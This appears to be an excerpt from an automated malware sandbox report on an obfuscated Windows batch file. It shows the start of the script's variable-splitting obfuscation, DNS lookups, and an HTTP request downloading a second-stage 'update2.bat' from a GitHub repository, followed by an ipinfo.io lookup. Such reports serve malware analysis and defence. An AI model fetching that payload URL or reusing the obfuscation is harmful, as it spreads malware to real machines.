File Content Preview:	....@echo off..set Jg=&..set bg=n..set Qw=C..set cg=r..set MQ=1..set bQ=m..set XA=\..set XQ=]..set SQ=I..set Lg=...setlocal EnableDelayedExpansion..set PQ==..set dQ=u..set Rg=F..set UA=P..set YQ=a..set eg=z..set cA=p..set Ig="..set Ow=;..set SA=H..set RA=

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 7, 2024 11:52:51.444300890 CET	192.168.2.5	1.1.1.1	0x7464	Standard query (0)	github.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 11:52:55.093333006 CET	192.168.2.5	1.1.1.1	0xda25	Standard query (0)	raw.githubusercontent.com	A (IP address)	IN (0x0001)	false
Nov 7, 2024 11:53:58.272031069 CET	192.168.2.5	1.1.1.1	0xdbb5	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 7, 2024 11:52:51.451189995 CET	1.1.1.1	192.168.2.5	0x7464	No error (0)	github.com	140.82.121.4	A (IP address)	IN (0x0001)	false
Nov 7, 2024 11:52:55.101650953 CET	1.1.1.1	192.168.2.5	0xda25	No error (0)	raw.githubusercontent.com	185.199.110.133	A (IP address)	IN (0x0001)	false
Nov 7, 2024 11:52:55.101650953 CET	1.1.1.1	192.168.2.5	0xda25	No error (0)	raw.githubusercontent.com	185.199.111.133	A (IP address)	IN (0x0001)	false
Nov 7, 2024 11:52:55.101650953 CET	1.1.1.1	192.168.2.5	0xda25	No error (0)	raw.githubusercontent.com	185.199.108.133	A (IP address)	IN (0x0001)	false
Nov 7, 2024 11:52:55.101650953 CET	1.1.1.1	192.168.2.5	0xda25	No error (0)	raw.githubusercontent.com	185.199.109.133	A (IP address)	IN (0x0001)	false
Nov 7, 2024 11:53:58.278836012 CET	1.1.1.1	192.168.2.5	0xdbb5	No error (0)	ipinfo.io	34.117.59.81	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
2024-11-07 10:52:52 UTC	94	OUT	GET /PTT2k5/LTL203/raw/main/update2.bat HTTP/1.1 Host: github.com Connection: Keep-Alive
2024-11-07 10:52:53 UTC	545	IN	HTTP/1.1 302 Found Server: GitHub.com Date: Thu, 07 Nov 2024 10:52:52 GMT Content-Type: text/html; charset=utf-8 Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-With Access-Control-Allow-Origin: Location: https://raw.githubusercontent.com/PTT2k5/LTL203/main/update2.bat Cache-Control: no-cache Strict-Transport-Security: max-age=31536000; includeSubdomains; preload X-Frame-Options: deny X-Content-Type-Options: nosniff X-XSS-Protection: 0 Referrer-Policy: no-referrer-when-downgrade
2024-11-07 10:52:53 UTC	3379	IN	Data Raw: 43 6f 6e 74 65 6e 74 2d 53 65 63 75 72 69 74 79 2d 50 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 27 6e 6f 6e 65 27 3b 20 62 61 73 65 2d 75 72 69 20 27 73 65 6c 66 27 3b 20 63 68 69 6c 64 2d 73 72 63 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 77 65 62 70 61 63 6b 2f 20 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2f 20 67 69 73 74 2e 67 69 74 68 75 62 2e 63 6f 6d 2f 61 73 73 65 74 73 2d 63 64 6e 2f 77 6f 72 6b 65 72 2f 3b 20 63 6f 6e 6e 65 63 74 2d 73 72 63 20 27 73 65 6c 66 27 20 75 70 6c 6f 61 64 73 2e 67 69 74 68 75 62 2e 63 6f 6d 20 77 77 77 2e 67 69 74 68 75 62 73 74 61 74 75 73 2e 63 6f 6d 20 63 6f 6c 6c 65 63 74 6f 72 2e 67 69 74 68 75 62 2e 63 6f Data Ascii: Content-Security-Policy: default-src 'none'; base-uri 'self'; child-src github.com/assets-cdn/worker/ github.com/webpack/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.co